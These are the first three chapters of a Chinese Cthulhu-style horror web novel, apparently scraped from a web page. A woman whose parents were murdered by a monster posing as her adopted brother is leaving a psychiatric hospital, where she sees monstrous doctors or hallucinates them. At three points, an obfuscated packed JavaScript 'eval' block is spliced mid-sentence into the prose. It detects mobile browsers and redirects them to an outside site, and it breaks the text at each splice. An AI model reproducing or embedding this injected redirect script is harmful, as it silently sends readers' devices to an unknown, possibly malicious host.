《逃出疯人院[克系]》 1. 第 1 章 “各项指标已经趋于正常,如无意外,等明天做完最后的测试就可以出院了。” “恭喜你,林小姐,很快就能回家。” 宽敞整洁的办公室内,头顶白炽灯不分昼夜倾撒光辉,将一切照得一览无余。 异国容貌的医生摘下平光眼镜,挂在胸前的口袋里,垂下的一根银色金属细链摇曳间流光微闪。 他正迅速阅览一沓报告书,待翻看至最后一页时顺手合上,温和抬起眼眸。 对面,病人的脸上是每一个听到此消息的人该有的安心与欣喜,但不知为何,这份欢心眨眼间转变为不易察觉的忧虑。 “我知道了。”林归伞抿着缺乏血色的干裂嘴唇,“谢谢你,拉斐尔医生。” 拉斐尔并未对此做出回应,凭借多年来与病人打交道的经验,敏锐意识到她对出院一事的迟疑,“恕我多嘴问一句,林小姐似乎不很开心的样子。” 林归伞微微愣了下,挂着如常浅笑,却敛了眼睫,避开拉斐尔摘下平光镜后过分锐利洞彻的目光,“怎么会呢?” 赌上他作为一个精神科医生的名誉,这句话绝对在撒谎。 不过拉斐尔没有拆穿她,而是思及面前这个病人的特殊情况,转念明白问题出在哪里。 “抱歉。”斯文俊美的医生露出歉意神色,“是我先前失言。” 林归伞摇头,“没关系的,医生不是都说我痊愈了吗,对父母的事故我已经能以平常心对待。” 如果说前面几句客套话还有所掩饰,方才脱口而出的言语绝对出自她真心。 经过精神病院这段时间的静养与隔离,她已经能平静面对父母的死亡。 面对父母被养兄,确切来说被一个披着养兄皮囊的怪物残忍杀害,这一无人知晓的真相。 起初,只是一个微不足道的异常。 一家四口人用餐时,总是她与养兄林雨停相对而坐。 可忽然有一天,林雨停换了位置。 从与她面对面用餐,改成相邻的席位。 仿佛是某种约定俗成的平衡被打破,父母和她都露出不适应的表情,被林雨停一句轻飘飘的“不可以吗”给堵了回去。 也对,没谁规定吃饭的时候必须坐哪个位置,只是他们习惯了以前的格局。 林归伞竭力说服自己,忽视身旁林雨停骤然贴近的气息。 她的退让与默许,似乎给了林雨停得寸进尺的信号,从那以后,无论餐桌还是沙发,任何能同坐的场合林雨停都会自然而然紧挨她身边。 父母对此一笑置之,“都多大的人了,还粘着你妹妹不放?” 记忆里,小时候她与养兄的确这般亲密。 只是随着年龄增长,二人给自己划下了无形的圈子,圈定成人的隐私与距离感。 兄妹之间的关系依旧要好,在此之上懂得了来往的分寸。 然而这份心照不宣被林雨停单方面打破,陌生的男性气息侵入独属于她的隐私圈。 就好像要将两兄妹这些年逐渐生疏的距离重新拉近。 林归伞对自己突然冒出的想法感到无奈,觉得林雨停的小心思有些可爱的同时,却也纵容了他的行为。 随着兄妹关系回温,日常生活中的交流互动变多,有时林归伞一个眼神都不及露出,林雨停就能早有所料般照顾到她的需求,简直像偷窥了她心中所想。 如果仅止于此,还能解释成积年累月的默契。 可事情很快变得不对劲起来。 无论何时,只要林归伞一个转头,总能瞥见林雨停在视野所及的地方。 毫无血缘关系的养兄妹,不仅一些无意识的小习惯趋同,就连神态容貌都开始逐渐相似。 她的养兄,宛如一个无声的影子,跗骨之蛆般黏附进她的生活里,观察着她的行为习惯,亦步亦趋地进行模仿。 从物理上的拉近兄妹距离,到心灵上揣摩她想法,再到影子般与她重叠。 最后呢? 难道是将她取而代之吗? 林归伞为这个没来由的念头吓了一跳。 她怀着玩笑般的心思,关上房门后自猫眼偷偷往外望。 走廊空荡荡的,不见林雨停的身影。 林归伞下意识松了口气,而后轻轻一哂。 想什么呢?怪可怕的。 这时,刚洗完澡戴上的发卡从仓促来不及擦干的发丝上滑落,掉进毛绒地毯里,没发出一丝声响。 林归伞弯腰去捡时,从门缝猝不及防瞥见的一幕,让她脸孔煞白,心脏都为之停跳一瞬。 只见走廊偏僻的拐角,一双熟悉的,属于林雨停的鞋正静悄悄踩在地板上。 他就站在猫眼看不到的死角,不知这样窥伺了多久! 不对劲。 绝对有什么地方不对劲! 林归伞捂住嘴,咽下即将脱口的惊叫。 心跳如擂鼓般撞击着耳膜,她只希望不要因此惊动了走廊上那个危险存在。 就当她疑神疑鬼对不起养兄也好,林归伞迫切地寻求一个答案。 她手忙脚乱打开手机,向这间屋子里唯二可以寻求帮助的人之一,她的母亲发送了一条微信。 [妈,哥他在走廊上干嘛?] 很快,她就得到了回复。 [咋了,你哥刚下楼和我们一起看电视,有什么事喊一声就行,没事发什么微信?] 林归伞趴在地毯上,从门缝小心翼翼往外窥探,林雨停的脚步早已消失。 保险起见,她又透过猫眼略略扫视,还不放心地打开门探头探脑。 林雨停确实离开了走廊。 可林归伞非但没有随之放松,一颗心反倒直直坠入谷底。 还是被发现了。 她识破林雨停真面目这件事。 隔着楼上楼下,她仿佛见到林雨停正窥屏微信聊天界面,朝她投来警告的眼神。 不过林归伞并没有往超自然因素这一方面想,唯一比较奇怪的,林雨停长得有点像她,也可以解释成所谓夫妻相。 相处在一起久了的人,容貌也会变得相似。 林归伞只觉得林雨停心理出了点问题。 她还是个在家吃干饭的在读大学生,反观林雨停,早就步入社会领略996的毒打。 有的是机会绕过林雨停,给父母通风报信。 于是这天,林归伞逮住时机就焦急对父母说:“我觉得哥最近在偷窥我。” “胡闹!”父亲一听就厉声怒斥,“就是这段时间关系变得亲近点而已,怎么能这么想你哥?” 很正常的反应,林归伞早在心底预想过,对此也只是无助地流着泪,“我也希望是我多想,可再这样下去我和我哥之间总有一个要被送去看心理医生。” “爸,妈,求求你们了,平时注意一下细节就好,给我一个准话让我安心。” 不等父母苦口婆心地劝她,大门处传来钥匙开锁声。 林雨停推开门,站在玄关,惊讶地看着父母尚未收敛的怒容与妹妹红肿的眼眶,“吵架了?” 他出现的时机实在太过巧合,一时间气氛陡然寂静下来。 林雨停顶着父母怪异的注视,若无其事放下公文包,来到林归伞身后揉了揉她脑袋,语气温柔,“都是一家人,有什么好争执的?” 说出这话的林雨停,却在某天率先挑破一家人和乐融融的假象。 “爸,妈,你们最近是不是有什么事瞒着我?” “为什么这么想?”母亲一脸被戳破的尴尬,却又竭力掩饰的模样。 林雨停小时候就脾气软,心思敏感细腻还爱哭,用着这张被林归伞戏称为婷婷哥的脸,态度却罕见地强硬。 “爸下班的时间变晚了。” 父亲皱着眉不耐烦地说:“公司临时有事。” 林雨停神色冷淡,“那您告诉我,为什么回来的时候身上带着陌生香水气?” “我还在您的口袋里发现女性字迹的纸条,要我当场拨打纸条上的电话号码吗?” 母亲实在听不下去,拍桌而起,“行了,说得好像你爸干了对不起我的事。” “其实是我要他找心理医生咨询一些问题。” “心理医生?”林雨停困惑地问,“我们家有谁要看心理医生吗?” 父亲虽没有直言,可他的话语已经证明了答案,“你和小伞一起长大,感情好无可厚非。” “毕竟你们没有血缘关系,这份感情变了味也不到有违伦理的地步。” “而且,正因你此前把她看作妹妹,意识到自己的心意才会纠结自责,耻于表述却又情难自禁。” “这些我和你妈都不怪你。” 父亲尽量以体贴耐心的口吻,“但是最关键要看小伞的意愿,你近期的行为深深伤害到了小伞。” “所以,我和你妈决定带你去看医生,疏导一下心里憋着的情绪,等你想开了再回来见小伞好不好?” 林雨停愣住了,他抬头仔仔细细审视父母的神情,不光他们一脸鼓励,就连林归伞也不再躲闪,而是大方朝他露出笑容。 他眨了眨眼,泪水转瞬浸湿眼眶,顺着白皙面颊滑落。 “爸,妈。”林雨停语带哽咽,就像连日以来的委屈与苦闷终于找到了宣泄,“对不起。” 父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831282|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母见状连忙抱住了他,“乖,不哭,我们一直都知道你是个好孩子。” 林归伞觉得一家人不能只有她被晾在一边,脚步一跨也想加入这个拥抱。 这时,她却见林雨停擦干眼泪,眼尾泛红,神色依旧悲伤。 “对不起。” 他褪去哭腔,再次重复着道歉,这次的语气却异常冷静。 这大概是林归伞人生中最漫长的时刻。 仿佛全世界按下了放慢键,她清楚地看到林雨停抽出藏在背后的小刀,伴随视野中银光一闪。 父母茫然睁大眼睛,喉间多出一行血线,紧接着猩红喷涌而出,铺天盖地。 林归伞大脑一片空白,身体却下意识做出行动。 她抄起一旁的水果叉,冲着林雨停那张染了血,在她眼中犹如修罗恶鬼的可憎脸庞刺了下去。 皮肉外翻的伤口下,不是血肉,而是无数随呼吸一起一伏,鼓胀涌动的霉菌。 细密的菌丝海藻般向外探去,修补这具破损的人类躯体。 很快,餐叉刺出的伤口就已恢复如初。 林归伞难以置信看着眼前这幕,手中银叉哐啷落地。 “怪物。”她喃喃念道。 林雨停又露出那副快要哭出来的表情,“你怎么能这么对你的哥哥?” 林归伞固执地摇头,“你不是我哥,你是一个怪物。” 养兄的身体早已腐败,被不知何处而来的怪物侵占了皮囊。 她为这句不肯妥协的话付出了代价。 怪物肆无忌惮,将她囚禁在暗无天日的房间中。 林归伞有关那段痛苦的记忆都已模糊,只记得自己终于创造机会,费尽心思引开怪物逃出上锁的门。 面对父母都已不在的家,墙纸上喷溅的血迹,与两具端正摆放在餐桌前的白骨。 她一边干呕,一边拨打警局电话,发现没有信号只能挨个拍打着邻居的门,向他们求助。 灯火通明的夜晚,一扇扇房门冷漠地紧闭,只有其中一户人家小心翼翼敞开门缝。 “救命!”林归伞一把拍打在房门上,发丝凌乱,衣服上满是污垢,神情是肉眼可见的惊惧与焦躁。 “我哥杀了我爸妈,还把我关在屋子里。” “他马上就要回来了,发现我逃跑还不知道会做什么,请你们帮忙报警,记得让警察带上枪制伏他!” 门后,这对夫妻中的妻子听闻她的遭遇,却露出尴尬无措的笑容,“你在说什么呢?” “你父母的事我听说了,前段时间不幸遭遇车祸,你一时半会走不出来也很正常,可你哥这几天向公司请假照顾你,还要忙着你父母后事。” “已经够辛苦了,怎么能这样想他?” 林归伞如一座雕塑般滞住了,布满红血丝的眼睛直勾勾盯着她,配上此时乱七八糟的外表分外渗人。 妻子瑟缩了一下,只听林归伞强笑着说:“对了,他是个怪物,肯定是他修改了你们的记忆!” “我有证据的!”林归伞慌乱地翻找手机相册,“没发现他与我明明没有血缘关系,却与我长得越来越像。” 她顿了片刻,“尤其这段时间,已经跟我一模一样了。” “他以前不长这样的!” 林归伞朝邻居亮出了林雨停幼年的照片。 妻子实在听不下去,一把抢过她的手机,将屏幕对着她,“你自己看看,人家从小到大就是这样的,跟你长得像纯属有缘。” 林归伞笑容僵在嘴角。 电子屏幕散发的幽幽冷光,在凄凉夜色里照得她面容惨白。 林雨停幼年圆润可爱的脸蛋,被手机页面上这个陌生秀美的孩童替代。 林归伞甚至发觉,她已记不清林雨停的面容。 说到底林雨停这个人是否真实存在过,她都不确定了。 她忽然觉得头疼欲裂,死死抱住脑袋,弓下腰身,浑身细细密密发着颤。 林归伞听到了一阵脚步声。 这些天缩在窗帘紧闭的房间里,只要听到这阵频率,就知道是那个怪物回来了。 她疯狂拍打邻居合上的门扉,歇斯底里地尖叫起来。 “救命!” “救救我,不要让我落在那个怪物手里!” 她听到紧闭的房门后面,那对夫妻中的丈夫小声告诫妻子,“早说了不要心软给这个神经病开门。” “我刚打的电话叫她哥将人带走。” “林家那个养子也是,妹妹受不了打击疯了,不去治疗还把人藏在屋里。” “我已经向社区投诉,明天就会派人将她强制遣送疯人院。” 2. 第 2 章 “对父母的事故我已经能以平常心对待。”林归伞是这样说的。 拉斐尔眉眼微动,忆起面前这个患者刚送来时,无法接受父母的死亡乃至编造幻觉,再对比如今释然的模样。 他不禁感到欣慰,“那就好,林小姐今晚好好休息,为明天的出院养足精神。” 林归伞起身,从拉斐尔手中接过属于她的检查报告,合上这间办公室的门之前,小声却真心实意地对医生说了句谢谢。 “分内之事而已。” 金发的外国医生措辞优雅,半点没有生疏的口音,抽出口袋上挂着的平光眼镜,架在鼻梁上。 蔚蓝的眼眸蕴着笑,无论何时都浅浅弯起的嘴唇吐露最后的话语。 “做个好梦。” 林归伞回到她住的那间病房,收拾行李。 作为本市最大的精神病院,这里的环境不可谓不好,留给每个病人的单间称得上宽敞,窗外就是花鸟宜人的景色。 天气晴朗,阳光照入窗内,使她的心情也明媚几分。 虽然不知道那个占据养兄皮囊的怪物,分明拥有修改他人认知的能力,为什么会向投诉的邻居们妥协,将她送入疯人院。 更不清楚怪物的来历与目的。 但林归伞猜,大抵是她那时精神状况堪忧,为了不让她这个玩具过早被玩坏,才遵循人类社会的传统送她治疗。 等玩具修好了,就能继续摆弄下去。 经历过此前报警无法,求助无门的事,林归伞已经差不多放弃向外界求救的选项。 她是真的很感激这所精神病院的治疗,尽管她不是真正的病人,但这些天以来与怪物的隔离,加上医生护士细心的照料。 让她有足够良好的心态,回到家后独自面对杀害父母的仇敌。 怪物将她送进疯人院,她便送怪物下地狱。 林归伞心中怀揣这一念头,利索地拉上行李箱拉链。 她带来的物品不多,除开换洗衣物与日用品,就只有满满一箱子的书,在精神病院静养的日子用以解闷。 确保没有东西落下后,林归伞安静躺在病床上,细数精神病院度过的最后一晚。 白日里烈阳高照,到了夜晚天气却逐渐恶劣起来。 风猛烈拍打着窗户,呜呜声尤在耳边如泣如诉,半夜下起雨来,只觉有谁兜头盖脸倒了一盆珠子,噼里啪啦四处乱砸。 雷鸣包裹在云层里,似远似近,时而一道电光炸得全世界都亮堂了。 林归伞睡得并不安稳,睁开眼看了下时间,还不到凌晨两点。 她蒙上被子就打算继续睡,忽然注意到古怪的地方。 精神病院的走廊过分安静了些。 平时总有值夜班的护士守着,避免有人突然犯病。 今夜却不知为何,透过病房门上开着的小窗,能看到护士站里空无一人。 又过了许久,雨声愈发大了,走廊里的死寂更显异样。 林归伞起床喝杯水的功夫,心底不安,还是没忍住按下门把手。 窗外闪电骤然擦亮,光线再次暗下去后,她的身影已然离开这间病房。 走廊两侧亮着灯,灯光维持在足够照明,却不至于打扰病人睡眠的亮度,因而视野范围被局限住,通道的尽头陷入一片粘稠黑暗。 林归伞脚步放得够轻了,些微震动在密闭空间层层回荡,传入耳中依旧十分清晰。 只听到她一人的动静,至少可以确认这层楼的护士是真的不在岗。 她往护士站瞄一眼,想看看到底是谁上班摸鱼被她抓住。 踮起脚尖趴在柜台上,要很艰难拉长了腰身,才能看到桌面上的排班表。 浓郁黑暗中,她头朝下,迎面就撞见一张惨白的人脸。 “!” 林归伞好险没忍住尖叫,心脏几乎跳到嗓子眼。 定睛一瞧才发现那不是剥下的人皮,而是堆在椅子上的白大褂,起伏的褶皱线条让其看上去像极了人类五官。 她半晌才平复好心跳,随即没好气地捞起白大褂,理了理褶皱,挂在一旁的架子上。 “你在做什么?” 林归伞猛然回头,见是她的主治医生拉斐尔。 “没什么。”被医生抓住夜晚溜号,她难免有些心虚,“也不知道是谁脱了人皮不好好放,刚才差点没把我魂给吓飞。” 林归伞在病号服上擦了擦满手沾到的血,扬起一抹笑,“医生呢,这么晚了还没睡吗?” 拉斐尔深邃立体的脸上,密密麻麻镶嵌的数十颗眼睛同时一弯,“还有些工作没完成,不想拖到明天,只好加个班。” 林归伞略显同情地望了他一眼,准确来说,加班到凌晨已经算拖到明天了。 “不说我了。”拉斐尔蹙着孤苦伶仃的眉毛,几十颗眼球里尽是不赞同的神色,“你熬到这么晚,不怕明天的测试出问题,影响出院吗?” 林归伞有种终于被抓包的破罐破摔,“就是因为这个才太兴奋,睡不着。” 拉斐尔叹了口气,“跟我来,给你开一记安眠药,这次是情况特殊,没有睡眠障碍的话记得不要频繁服用。” 林归伞道了声谢,眼中神采涣散,带着恍惚的神情跟在拉斐尔身后。 她心想,今晚的医生跟平常很不一样。 摘下银框眼镜后,几十双蓝眼睛看起来放松了许多,冷白皮肤上裂开道道猩红带尖齿的裂隙,这就是舒服得毛孔都张开的意思吧。 就是医生的背上有两块凸起的小鼓包,难道是办公室坐久了,腰间盘,啊不是背间盘突出了吗? 林归伞忽然用力拍打脸颊,引来拉斐尔疑惑的注视。 她摇摇头只说没事。 总不能告诉医生,看着他的背影,人形轮廓下仿佛有什么东西将要挣脱而出,自己竟然不可抑制地心跳加速。 真是单身久了,对着个稍有姿色的成年男性都能脸红。 林归伞告诫自己不能太过浮躁。 家里还有个假扮林雨停的怪物没解决,现在还不是谈情说爱的时候。 胡思乱想间,二人已来到药房。 林归伞等候在入口,目送拉斐尔沿着一排排药架,替她寻找合适的安眠药物。 雷雨仍未停歇。 轰隆! 猝然炸响的雷鸣仿佛贴在耳畔重重一锤,大脑被嗡鸣贯穿。 林归伞整个人惊得一颤,下意识后退,不慎撞翻了离得最近的药瓶。 “抱歉!” 她慌乱道,蹲下去就开始捡拾玻璃碎块。 拉斐尔倒没有生气,“我来收拾吧。” 林归伞坚持说:“我犯的错,应该由我来打扫,这些药我也会原价赔偿——” 一口气说到最后硬生生戛然而止。 她低头,见自己指腹上划开一道细小的口子,鲜红血液汩汩流出,与先前触碰人皮白大褂留下的暗红血渍逐渐交汇。 迟来的刺痛感唤醒她的神智,眼底迷蒙神色消失一空。 林归伞终于意识到,她跟随拉斐尔来药房的路上,究竟发生了什么。 “怎么不说话了?” 拉斐尔面对她突然的沉默,自顾自找了个理由,“怕药太贵赔不起吗?” 他失笑道:“放心,带你进药房我也有责任,这些药值不了几个钱,扣我工资算了。” “给,你的安眠药。” 骨节分明的五指伸到林归伞面前,这应当是一只很漂亮的手,要是掌心没有裂开缝就更好了。 林归伞稳了稳呼吸,从来没有哪一刻比现在要全神贯注,她控制每一丝肌肉不让自己流露恐惧,接过拉斐尔手中的安眠药。 饶是她足够小心,指尖仍是擦到裂隙中一颗尖牙,被那与人类牙齿一模一样的光滑触感,激得后背起了层疙瘩。 她抬起头,拉斐尔脸上长满了眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831283|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知该直视那一双,只能囫囵说道:“麻烦医生了。” “时候不早,我该回病房休息。” “我送你。” 林归伞压根不敢推拒,只能机械性地迈动步伐,耳边听着拉斐尔阴魂不散的脚步。 她没有回头,却能感受到强烈的目光钉死在自己后背,拉斐尔正在审视她。 视线下瞥,属于拉斐尔的影子完全笼住了自己的,彻底失去人形的外表,张牙舞爪,一塌糊涂,她都不愿去想医生此时会是什么样子。 怎么办? 难道任由背后这个东西跟着她回到病房? 林归伞尽量寻找话题与可能存在的突破口,“对了,为什么这么久了也没见着一个护士?” “医院临时有事,大家都忙。” “所以医生今晚加班,也是为这件事吗?” 拉斐尔却说:“不。” 林归伞脚步一滞,没有问拉斐尔大晚上逗留医院,到底在忙于什么工作。 不等她继续没话找话,拉斐尔主动地,以一副尽职尽责满足病人好奇心的口吻,“想知道护士们在做什么吗?” “你看那边。” 林归伞已经拼尽全力不让自己顺着影子所指的方向扭头,但可能是人类天生对禁忌的探究欲,还是某种无形的力量作祟。 她的骨骼一寸寸扭转,视线滑落到一扇位于楼梯间旁的偏僻门扉。 印象中这扇时常落着锁的门,此刻悄无声息地打开。 不见踪影的护士们就聚集在门后的地下室,此刻正将白大褂连同身上的人皮一起脱了下来。 它们的脚上生有钩爪,通体覆盖野兽般漆黑油亮的毛发,粗壮的前臂分裂成两支,格外巨大的头颅被一张竖直生长的嘴占据,外凸的眼球如鱼类那样生长在两侧。 这群不该出现在现实生活的东西,正有序地围绕成一个圈,手舞足蹈仿佛在进行一场祭祀。 祭祀的对象似乎是一个包裹羽毛的茧。 群魔乱舞之中,林归伞看到了自己的同类。 无知无觉身着病号服的人,被黑毛怪物抬上祭台,熟睡中撬开头盖骨,露出粉红色正在蠕动的鲜嫩大脑。 宛如脐带的软管连接病人们的脑子与羽毛围成的茧,似乎在输送养分。 仿若被攫取了心智,林归伞竟难以将视线移开。 她看到了茧孵化的过程,原来是层层叠叠舒展的六对羽翼,羽翼中央是一颗巨大的眼球。 与恶心的黑毛怪物不同,这颗眼球纯净到隐约散发光辉,虹膜呈现温柔静谧的蔚蓝色,本该是瞳孔的地方嵌套无数轮轴,更多细小的眼珠安放在轮轴中央不停滚动。 与这颗巨大眼球对视的瞬间,林归伞脑中轰然一声。 名为理智的弦猝然崩断,她现在只有一个念头。 逃! 不顾一切地逃! 一路上她都在背对拉斐尔,将安眠药偷偷碾碎,眼下直接将攒了许久的药粉一把撒向拉斐尔眼睛的位置。 然后拔腿就往前冲。 身后的灯光在一盏盏熄灭,她似乎惹怒了拉斐尔,如有实质的黑暗浪潮般朝她席卷,阴寒之气直刺后背。 林归伞眼中只有前方的光亮。 快些,再快些! 甩脱背后的怪物,逃回她的病房,要不然更果断些逃出这所精神病院。 转过不知多少个拐角,她的前方忽然出现一道熟悉的身影。 金色长发,银边眼镜,端端正正的两只蓝眼睛,一身白皮肤光洁无瑕疵。 拉斐尔医生皱着眉,“这么晚了为什么在走廊上乱跑?” 林归伞脚步生生止住,瞳仁惊惧地颤抖着,回头看向身后。 有着医生相貌的怪物并没有消失,而是已经追到了走廊转角,灯光投射下的狰狞怪异的影子,正向她刻不容缓地逼近。 那么眼前这个拉斐尔,到底是真是假? 3. 第 3 章 “医生,这么晚了还留在医院,加班吗?”林归伞看着面前人模人样的拉斐尔,投以不动声色的打量。 她此刻很想不管不顾往前冲,但谁能确定前方不是等她傻傻跳进去的陷阱? 拉斐尔的神情是熬夜后的疲惫,揉了揉眉心,“你怎么知道?医院临时派发了工作。” “工作?”林归伞紧紧追问。 “当然是治病。”拉斐尔不假思索回答,“好了,再问下去就涉及病人隐私,倒是你这么晚不睡,在走廊上奔跑又是为什么?” 林归伞没有立即回应,拉斐尔的反应很寻常,但那个满脸眼珠子版本的医生,只从对话上也挑不出毛病。 她视线艰难下移,时间不等人,浓郁的阴影已追赶至脚下,仿佛下一刻披着拉斐尔外表的恐怖存在,就会冲出拐角,将她拖入那间地下室,撬开颅骨将脑髓贡献给长着翅膀的眼球怪物。 “医生没听到吗?”林归伞竭力压抑语气中的颤抖。 拉斐尔唇微抿,秉持对病人的关照,耐下性子询问,“听到什么?” “脚步声,属于一直在后面追赶我的,长着医生脸的怪物。” 不等拉斐尔有任何反应,林归伞已经抢先说道:“医生没注意到我身后的灯莫名其妙熄灭了吗?我们脚下的影子是不是黑得不正常?” 她语速很急,像是这辈子再没有时间说这么多话,不正常颤动的瞳孔闪烁神经质的光彩。 “我也分不清医生到底是人是怪物,但只要你还有一丝可能是人,总不能把你丢在这里,我唯独能提醒你的只有一件事——” “跑!” 说罢,赶在阴影彻底淹没她的身形前,林归伞陡然拽了把拉斐尔的手臂,带动他与自己一起拔足狂奔。 “等——” 拉斐尔一个字都没说完,就被迎面带起的风堵了回去,形状稍显锋利的眼睛微微睁大,充斥着对病人的费解。 奔跑中,林归伞渐渐松开拉斐尔的手,只等在下一个转角与他分开。 她信不过这个目前还是人类的拉斐尔。 可另她倍感绝望的是,即便林归伞有意避开拉斐尔,脚步陡然打转,却听到本该在另一个方向的拉斐尔也跟着急转弯,死死紧追她不放。 “林小姐,你先等等!” 原来人形医生也有问题。 林归伞根本听不进拉斐尔说的话,只觉心脏沉甸甸的,压得她透不过气,即便早料想过这个可能,但真当证实还是有种想哭的冲动。 经过长时间奔跑,本就体力不佳的她肉眼可见动作慢了下来,与拉斐尔的距离一点点缩短。 林归伞心下发了狠,抄起手边任何能充当武器的东西,做好鱼死网破的准备。 突然,拉斐尔追了上来,一把抓住她手腕。 林归伞尖叫一声,这才看清她手里拿的是一柄扫帚,不及细想狠狠朝拉斐尔脑袋拍了下去。 拉斐尔狼狈地偏头躲开,仓促间银框眼镜都歪了,斜斜挂在鼻梁上。 他大力钳制住林归伞抓握扫帚的手,眼见她挣脱不得,都急得要上嘴咬,只好拔高了声音,“林小姐!” “你自己睁开眼看看,这里是医院走廊,哪里有你说的长着我的脸的怪物,灯光也是好好的,从来没有熄灭过。” 这句话终于传入她耳中,林归伞挣扎的力气一弱,迷乱的视野逐渐清晰。 只见走廊昏暗,两侧的白炽灯散发柔和光亮,明明白白照见只有她与拉斐尔二人,所谓的怪物就像从未存在过。 目光一转,拉斐尔医生两只眼睛一张嘴的俊美面容上,眉宇间积攒深深的疲累与怒意,大半夜不睡被病人拉着跑,这事放谁身上都会忍不住生气。 但他毕竟是个精神科医生,对此类经历不说驾轻就熟,也该习以为常。 很快便收拾好心情,理了理头发,扶正眼镜,尽量以温和耐心的口吻对林归伞说:“好了,林小姐,时候不早,你该去睡觉了。” 林归伞没有拒绝,方才激烈澎湃的情绪一下子冷却了,顺从地跟在拉斐尔身后,往自己的病房走。 只是路上时不时转头,四处逡巡。 她明明看见了那些怪物的,怎么会突然消失呢? 后半夜风平浪静,没再出任何意外。 天亮后,林归伞按照原本的行程,做出院前最后的检查,拿着一叠报告书敲响医生办公室。 “进来。” 拉斐尔坐在办公桌前,一手支着脑袋,另一手滑动鼠标,时不时敲击一下键盘,看着就挺忙,他眼下有浅浅青黑,因肤色白,这点黑眼圈就分外明显。 林归伞将报告放在桌面,搬来张椅子坐好,等他处理完手头工作。 在拉斐尔翻看报告书的间隙,盯着他有气无力半垂的眼睫,林归伞欲言又止,终是没忍住略带愧疚地说:“实在不好意思,昨晚麻烦医生了。” 纸页摩擦声蓦地停止,拉斐尔从报告书里抬头,眼神诧异,语气稍显迟疑,“林小姐,我们昨晚有见过吗?” 林归伞猝然起身,动作太大将椅子带出一道刺耳摩擦声。 她脸上的表情也像被划了一刀那样狼狈,礼貌的笑容不上不下僵硬在嘴角,呼吸不稳,“医生,玩笑也不是这样开的。” 拉斐尔放下报告,一字一顿严肃说:“我从来不与病人开这种玩笑。” 林归伞心底陡然生出一股说不清道不明的恐惧,不断摇着头往门口的方向后退,目光忽而无意间瞥见什么,就像抓住救命稻草。 她眼里带着孤注一掷的希冀,将昨晚的遭遇从头到尾简要叙述一遍,从一开始被怪物医生蛊惑,再到遇见人类医生,被他送回病房,“所以医生,请你告诉我——” 林归伞用了死力气,攥紧拉斐尔小臂的十指都泛了白,强硬地逼迫他展开手腕内侧的衣袖。 “为什么医生的白大褂上,会有我留下的血迹?” 她重新露出笑容,这笑要更为苍白虚弱,“不知道是摸过人皮,还是我自己被药瓶划拉的伤口,但只要化验一下就能证明我所言非虚。” 拉斐尔看着她,眼神与表情都过于平静,平静之中还藏着林归伞最不愿见到的悲悯。 她像是被刺痛,不自觉松开拉斐尔的衣袖。 拉斐尔整理好她攥出的褶皱,声音轻得仿若叹息,“林小姐,我再重申一遍,昨晚我没有见过你,袖子上的污渍更不是你留下的血。” “都到了这份上你还要骗我!”林归伞恨声说,随即冷笑,“那请医生你告诉我,昨晚到底在哪,血迹又是怎么来的?” 比起她的濒临崩溃,拉斐尔语速不急不缓,倒有几分无奈,“昨晚我负责的一个病人突然发病,血迹应该控制他的时候沾上的。” 林归伞一个字也不信,“哪有这么巧的事?” “熬夜,照顾病人,就连这血迹的角度形状,都与我的遭遇对上了。” “不是巧合。”拉斐尔打断她的咄咄逼人,闭了下眼睛,“林小姐听说过海马效应吗?” 林归伞被怪物养兄送入疯人院,因为所处环境也了解过一些这方面的知识,“这个我知道,简单来讲就是既视感,不曾经历的事却在记忆里好似发生过。” 她扯起嘴角,“所以医生想告诉我,以上这些都是我的海马效应?” 拉斐尔点了点头,“虽然学界对海马效应的成因并无定论,但在我个人看来,就是林小姐敲开办公室的门,潜意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831284|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收录了我熬夜照顾病人,不小心留下血迹这些细节。” “然后编造进莫须有的记忆中。” 林归伞不无讽刺地说:“那我的脑子也太神通广大了,一瞬间无中生有,还编得那么煞有介事。” “因为根本就不能算无中生有!” 拉斐尔从林归伞进办公室起,第一次产生这么大的情绪起伏。 他将电脑屏幕转向林归伞,展示此前敲敲打打的内容。 那是一段监控视频。 凌晨两点的医院走廊,一个身形消瘦的黑发女子,穿着病号服,正面露惊惶朝一个方向头也不回地奔跑。 没有穷追不舍的怪物,更没有焦头烂额的医生。 从头到尾只有林归伞,在监控画面里上演独自一人的独角戏。 林归伞着了魔般,抱着电脑显示屏死盯不放,又拖着鼠标一遍又一遍来回点击。 拉斐尔担心惊扰到她,放轻了声音,“今天一早上班,我就接到护士的消息,说你昨晚在医院跑上跑下,很久才消停。” “你昨夜出现幻觉,今早又将我袖子上的血迹,编入幻觉中的遭遇。” 